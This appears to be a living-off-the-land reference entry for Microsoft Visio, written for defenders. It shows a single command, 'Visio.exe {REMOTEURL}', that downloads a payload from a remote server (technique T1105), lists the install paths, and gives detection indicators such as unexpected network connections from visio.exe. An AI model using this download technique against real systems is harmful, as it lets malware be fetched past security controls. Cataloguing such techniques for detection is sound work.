01 / TRADECRAFT
1 examplesCommand reference
Download1
EXAMPLE 01T1105
Downloads payload from remote server
COMMAND
Visio.exe {REMOTEURL}02 / ON DISK
Known paths
C:\Program Files (x86)\Microsoft Office\Office14\Visio.exeC:\Program Files\Microsoft Office\Office14\Visio.exeC:\Program Files (x86)\Microsoft Office\Office15\Visio.exeC:\Program Files\Microsoft Office\Office15\Visio.exeC:\Program Files (x86)\Microsoft Office\Office16\Visio.exeC:\Program Files\Microsoft Office\Office16\Visio.exeC:\Program Files (x86)\Microsoft Office\root\Office14\Visio.exeC:\Program Files\Microsoft Office\root\Office14\Visio.exeC:\Program Files (x86)\Microsoft Office\root\Office15\Visio.exeC:\Program Files\Microsoft Office\root\Office15\Visio.exeC:\Program Files (x86)\Microsoft Office\root\Office16\Visio.exeC:\Program Files\Microsoft Office\root\Office16\Visio.exe03 / DEFENSIVE INTELLIGENCE
0 resourcesDetection & indicators
Indicators & detection notes
- IOC
URL on a visio.exe command line
- IOC
visio.exe making unexpected network connections or DNS requests
COMMUNITY RESEARCH
Acknowledgements
Avihay Eldad@AvihayEldad